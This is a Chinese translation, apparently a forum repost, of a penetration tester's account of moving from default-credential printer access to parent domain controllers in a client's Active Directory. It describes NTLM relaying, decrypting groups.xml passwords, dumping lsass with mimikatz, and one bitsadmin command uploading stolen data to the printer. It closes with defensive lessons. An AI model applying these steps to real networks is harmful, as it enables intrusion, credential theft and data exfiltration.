渗透测试-从打印机到主域控制器

ps:关于域内信任这块基础可以参考倾旋的一篇wiki,内容很足很丰富。
https://payloads.online/archivers/2018-11-30/1 彻底理解Windows认证 - 议题解读

Intrusion testing

最近我参与了一个项目,在项目中,我要在不触发SOC(应该是安全运营中心的意思)的情况下,拿到目标内部的数据,我活动的范围只能是在一个会议室,然后目标的范围很广泛,我也不能接触其他计算机以及去别的房间。
然而,他们要求我检查一下,别人绕过外部的安全策略进入到内部的时候会怎么样。
我在会议室安装了CISCO国际呼叫VOIP系统,允许我使用LAN电缆。

该项目给我5天的时间去测试和2天的时间写报告。

注意:修改所有的IP地址和系统名称,这样不会暴露客户端的名称。

Day 1

第一天是早上8:30开始。

主要目的是避开未被检测的数据,同时提取一些关键数据。
一旦我将系统连接到网络上,我很快就得到了一个IP,这可能意味着没有任何NAC(NAC,是一款由思科出品的网络设备)。

我做的第一件事是开始使用nslookup检查网络中的域名服务器。
大部分时间里,我发现DNS倾向于提供关于服务器和系统命名约定的大量信息。但是,我在网络里没有丝毫头绪。我在一个172.10.1.0的网络里。
我甚至尝试使用PowerShell Active Directory模块来查找DC和DNS服务器,但没有找到任何可用的。
这是令我震惊的,因为肯定是有一个DNS服务器,除非有一个NAC,而我被扔在了沙盒网络中。
当时是中午12点,我仍然不知道网络中的情况。我甚至无法ping任何系统,因为ICMP被防火墙禁止了。由于很难受,我从Impacket工具包中启动了ResponderNTLM中继,并使用定制的payload,认为这可能会给我一些线索。然而并没有什么卵用。我的耐心在一天结束的时侯就耗尽了,我开始通过在笔记本电脑上启动Network Discovery来搜索SMB共享
但是我空手并没有没套到白狼,2333.我回到家,继续做我自己的事,看看能做些什么。

Day 2

所以第二天我自己先计划好。
由于我无法识别网络上的任何内容,因此我决定采用在极端隐身模式下使用Nmap的旧路线。 即使花一两天,也无所谓。 我从172.10.1.0-172.10.4.0网络范围内的随机IP上开始对端口445进行扫描。 到下午12点30分,扫描完成,我在网络中只发现了3个系统(所有unix)震惊。。。
在某些选定的公共端口上执行慢速服务扫描时,我意识到端口8443和8666处于活动状态。 访问这些,我发现这些是Xerox C60-C70机器 - 打印机和复印机的混合版。 在访问端口时,我发现他们是网络服务器,提供了登录门户。 根据我在OSCP中学到的内容,我搜索了EFI Fiery Server的默认密码,发现默认凭据为admin:fiery.1。 我很快就试过了,还有BAM!
我看到了一个具有管理权限的Web门户。


我发现这些是基于PHP开发的,门户网站(3.0版)已经过时了。 这个门户网站容易受到LFI的攻击,但无法在此处执行任何文件。 我进一步搜集信息,发现我可以从门户本身启用FTP,电子邮件和SSH服务器。 我还通过我的个人FTP启用所有打印机扫描的备份,因为默认情况下没有配置。
到这里,我确信一件事,只要有人打印什么机密文件,我都可以搞到手。

我尝试过PRET- - 一个打印机开发工具包,用于进一步利用,但没有找到任何东西。然后我ssh'd打印机,发现它有两个不同的网络接口。这意味着有两个不同的网络:一个隐藏在我网络中的,只能通过打印机访问。woc! 这让我想起了我的OSCP实验室!我快速进行端口转发和配置proxychains,找到DC和DNS服务器并启动 responder ,然后等待一些系统出现。我得到了大量的NetNTLMv2哈希,但意识到我无法使用crackmapexec执行任何操作,因为所有系统都启用了SMB签名。与此同时,我也开始使用GTX1050ti显卡HashcatNet-NTLMv2哈希破解到我的系统上,但没有找到,我的字典已经用完了。然后我开始再次搜索SMB共享,​​因为我现在知道DC,我找到了SYSVOL(LOGONSERVER)目录。
现在,我做的第一件事是导航到SYSVOL目录并开始搜索groups.xml文件。我找到了两个文件。一个不包含任何密码(仅在一个月后修改)和另一个旧的groups.xml,它最后在2011年创建和修改,保存在另一个文件夹中,其中保存了所有其他未使用的旧脚本。我使用gp3finder.exe解密旧groups.xml的密码,并尝试使用本地管理员的groups.xml密码登录到远程系统,但我失败了。这只是在一种尝试,因为这是一个旧的groups.xml文件,密码已经变了。

这时我回到我的Linux机器上,responder 和ntlmrelay正在运行,却发现我已经使用自己专门设计绕过赛门铁克的payload访问了其中一个系统。

现在我开始搜索我的用户可以做什么,以及我是否能够升级我的权限。 我发现了一个运行空格而没有双引号的Foxit服务。 我觉得这个可能是一个突破点,貌似我的用户也有在C盘中的写权限。 但这是误报,因为我的用户只有权在C盘中创建文件夹而不能复制或写入文件。 现在我尝试的下一件事是检查我的当前用户有哪些其他权限。 但难受的是,我的用户不在RDP组中。

现在是15:00。 难受的一批。

所以最终我放弃了并执行Bloodhound而没有任何进一步的麻烦,我开始寻找提权的方法。 这里是我找到的一个有趣的地方。

它是域管理员组中的MSSQL服务帐户,密码一年多没改。根据我的经验,我知道管理员通常不会更改服务帐户的凭据。他们通常有一个策略,没被破坏就不管。因此,我只是尝试使用旧的groups.xml密码登录系统(在上面的屏幕截图中的服务帐户用户描述中提到)。我从我的笔记本电脑登录到这个系统,运气比较好,我为此用户启用了交互式登录。我现在是Domain Admin,但在使用2012 Server的MSSQL DB System中,我可以在没有任何UAC的情况下启动CMD。我不想使用服务帐户登录DC /AD,因为此时我不想对SOC提出任何疑问。所以,我快速启动任务管理器,dump lsass.exe的内存并通过RDP将它下载到我的系统。然后使用mimikatz离线提取密码哈希,并找到一个有趣用户的凭证 - Level3-INFRA-PUM(出于安全原因,名称已更改)。这是一个金票据。我在该域上对该用户执行了LDAP查询,发现这是Privilege User ManagementLevel 3 Infrastructure的管理员帐户。在用户帐户的说明中提到了与此用户关联的计算机主机名。我使用域凭据登录到PUM的Web门户,发现门户上没有启用多因素身份验证。我在这里进行了一些额外的研究,发现这个组织有LAPS(LAPS是一种组策略客户端扩展)设置,为了登录远程系统,我不得不从PUM获取密码,然后才能登录本地管理系统。这就是为啥我无法使用GP3密码以本地管理员身份登录的原因,因为他们已经停止使用groups.xml进行密码管理。我从PUM访问了域管理员的密码并访问了域控制器,但发现这只是一个Child DC。两个不同国家/地区的另外两个域控制器与此系统相连。查询DC显示信任是双向的。我试图登录到父DC,但由于某种原因我无法登录。我意识到这只是第2天,我想先溜了,至少有搞下来了一个DC。

Day 3

我想今天将是一个不一样的一天。

在检查组策略后,我意识到这些人已禁用除IT支持人员域管理员组之外的所有用户的RDP。远程通信的唯一方法是Team Viewer,我显然不会很快接触到它。我在DC上使用了来自SysinternalsSharenum来检查所有可能连接的共享驱动器,并在目录中找到了大量的SMB共享。我发现了很多敏感信息,包括会计团队的银行凭证,我觉得是时候搜集泄露的数据了。我使用BITSadmin将所有副本下载到打印机:

bitsadmin.exe /transfer upjob /upload /priority normal http://192.168.x.x/data.zip D:\temp\data.zip

然后通过WinSCP将其下载到我的系统。

科普一下,Sysinternals被微软买了,所以自带签名,白名单工具包。
我还在想,如果我能理解目标的AD结构的内部工作方式会更好,因此我用ADExplorer(Sysinternals的另一个工具)创建了一个计划任务 -并安排在凌晨1点,以便在离开这个地方之前以较低的速度创建整个Active Directory的快照。

Day 4

我查看AD快照,我看到在隐藏的共享驱动器中创建了一个400 MB的文件,我后来将它下载到我的系统中。 最后, 我可以访问所有组策略以及整个域中的所有对象,以后我可以离线查询以备需要一些数据。 我还决定更深入地检查LAPS密码,只是为帐户描述中具有不同域名的域用户之一找到它的密码。 该用户未在整个组织的任何地方用于登录。 我检查了bloodhound数据以便再次确认,但没有提到这个用户。 这就很有趣,因为所有其他DC管理员至少有一个或另一个登录。 然后我尝试使用此DC管理员的凭证登录到其他父域,最后我可以访问父DC。

ps:域之间也有父域和子域,也存在信任关系。

我不得不通知SPOC,看这是否在测试范围之内。 然后他们跟我说这些DC超出了范围所以我只能先停下。

但这是一个不可思议的旅程,从什么东西也没找到到拿到了DC的权限,还是 Parent Domain Controls

总结

得到教训:
永远不要忽视评估过程中发现的小信息。 你甚至无法理解这些信息的潜力。要经常给你的打印机打补丁并保证它们的安全。 它们是您域中的一部分,与网络中的其他设备一样重要。
切勿将服务帐户添加到域管理员组。
反病毒机制很好,但应用白名单更好。
切勿将旧密码配置文件存储在域中的任何位置。 攻击者只需搜索这些凭证信息然后升级其权限就更容易了。
弱口令无敌啊。

ps : 作者很牛,打印机R到DC,可是没我帅。

原文链接:http://niiconsulting.com/checkmate/2019/01/intrusion-testing-from-evil-printers-to-parent-domain-controllers/

点击收藏 | 1 关注 | 3
登录 后跟帖